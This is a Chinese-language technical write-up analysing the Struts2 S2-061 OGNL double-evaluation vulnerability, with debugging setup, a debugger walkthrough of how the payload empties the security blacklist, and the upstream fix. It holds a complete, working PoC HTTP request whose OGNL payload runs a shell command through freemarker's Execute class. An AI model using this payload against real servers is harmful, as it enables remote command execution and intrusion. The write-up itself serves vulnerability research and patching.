Struts2 会对某些标签属性(比如 id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。
struts 2.0.0 - struts 2.5.25
使用docker compose启动容器,在docker-compose.yml中加入如下:
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
而后使用IDEA开启远程调试,对于JAVA8,需要去除address的*:
首先分析PoC,观察PoC可以知道,PoC通过表达式声明了instancemanager变量,类型为org.apache.tomcat.InstanceManager,而后通过instancemanager.newInstance实例化org.apache.commons.collections.BeanMap对象,并通过bean.setBean方法将com.opensymphony.xwork2.util.ValueStack.ValueStack设置到bean中。
POST /index.action HTTP/1.1
Host: 192.168.59.211:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.211:8080/.action;jsessionid=node010obz75lhtwqg1daa8msd7zvl70.node0
Connection: close
Cookie: i_like_gitea=94b6fe5fe1049e19; lang=zh-CN; redirect_to=%2F; JSESSIONID=node014s7soaddt6u41im2x0qfyngjk1.node0
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 827
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
com.opensymphony.xwork2.util.ValueStack.ValueStack中存储了当前请求相关的一些对象,如下图解释,来自
https://www.cnblogs.com/xtdxs/p/6527380.html

而后分别通过bean.setBean和bean.get获取到了对象获取到了com.opensymphony.xwork2.util.ValueStack.ValueStack.context,实际上就是下面这个对象

继续通过以上方式使用bean.get获取SecurityMemberAccess对象,而后通过bean.put方法设置SecurityMemberAccess.excludedPackageNames和SecurityMemberAccess.excludedClasses为空。
最后通过freemarker.template.utility.Execute.exec执行Shell 命令。
整体来看,该漏洞利用思路是通过Bean的get/set方法间接获取到OgnlContext,而后通过OgnlContext获取到SecurityMemberAccess对象并把里面的黑名单置空,最后调用黑名单中的freemarker.template.utility.Execute.exec执行命令。
使用docker启动环境后,拷贝里面的关键jar包,新建IDEA项目,导入jar包,开启远程调试。
在org.apache.commons.collections.BeanMap构造函数下断点,运行PoC,IDEA断下,可以看到有如下

调用栈如下:

在compileAndExecute:523, OgnlUtil (com.opensymphony.xwork2.ognl)中看到传入的payload已经被解析为了AST链。

而后在getValueBody:141, ASTChain (ognl) [1]通过循环,遍历处理
protected Object getValueBody(OgnlContext context, Object source) throws OgnlException {
Object result = source;
int i = 0;
for(int ilast = this._children.length - 1; i <= ilast; ++i) {
boolean handled = false;
if (i < ilast && this._children[i] instanceof ASTProperty) {
ASTProperty propertyNode = (ASTProperty)this._children[i];
int indexType = propertyNode.getIndexedPropertyType(context, result);
if (indexType != OgnlRuntime.INDEXED_PROPERTY_NONE && this._children[i + 1] instanceof ASTProperty) {
ASTProperty indexNode = (ASTProperty)this._children[i + 1];
if (indexNode.isIndexedAccess()) {
Object index = indexNode.getProperty(context, result);
if (index instanceof DynamicSubscript) {
if (indexType == OgnlRuntime.INDEXED_PROPERTY_INT) {
......
}
} else if (indexType == OgnlRuntime.INDEXED_PROPERTY_OBJECT) {
throw new OgnlException("DynamicSubscript '" + indexNode + "' not allowed for object indexed property '" + propertyNode + "'");
}
}
if (!handled) {
result = OgnlRuntime.getIndexedProperty(context, result, propertyNode.getProperty(context, result).toString(), index);
handled = true;
++i;
}
}
}
}
if (!handled) {
result = this._children[i].getValue(context, result);
}
}
return result;
}

继续运行,IDEA在setBean:536, BeanMap (org.apache.commons.collections)断下,此时通过setBean将context存到bean对象中

在initialise方法中会将PoC中传入的valueStack分为name和对应的get方法存储到HashMap中,可以看到context对应于public java.util.Map com.opensymphony.xwork2.ognl.OgnlValueStack.getContext()

而后在通过bean.get获取到context,前面知道context对应于getContext方法,通过调用这个方法获取到了stack中的context。

再次通过bean.setBean存储到bean中

通过bean获取memverAccess,对应SecurityMemberAccess对象

可以看到在其中已有预先初始化的黑名单类和包名,其中包括后面执行命令使用的freemarker.template

在com.opensymphony.xwork2.ognl.isAccessible下断点,可以看到在每次执行Ognl表达式之前都会检查包名和类名是否在黑名单内

此时调用栈如下

而后通过bean.put将黑名单覆盖后,在使用#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist)时黑名单已经是空集了,直接通过了校验。

而后在freemarker.template.utility.Execute.exec方法中直接通过调用Runtime.getRuntime().exec(aExecute)执行系统命令。

Diff对比
在
0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e对比可知当字符串中不包含表达式时才会添加%{}

并且限制了解析tag时的不安全行为

同时将一些危险类加入黑名单中
https://github.com/apache/struts/commit/482af41673a3883e904ea72391a5b4a03cbd5d94

这个漏洞利用了OGNL表达式的二次解析,注入OGNL表达式,巧妙地利用tomcat容器中的Bean类获取OGNL context,并通过Bean类的get/setBean方法重置黑名单,而后利用黑名单中的类执行任意命令。
参考链接
Created at 2023-12-04T19:21:08+08:00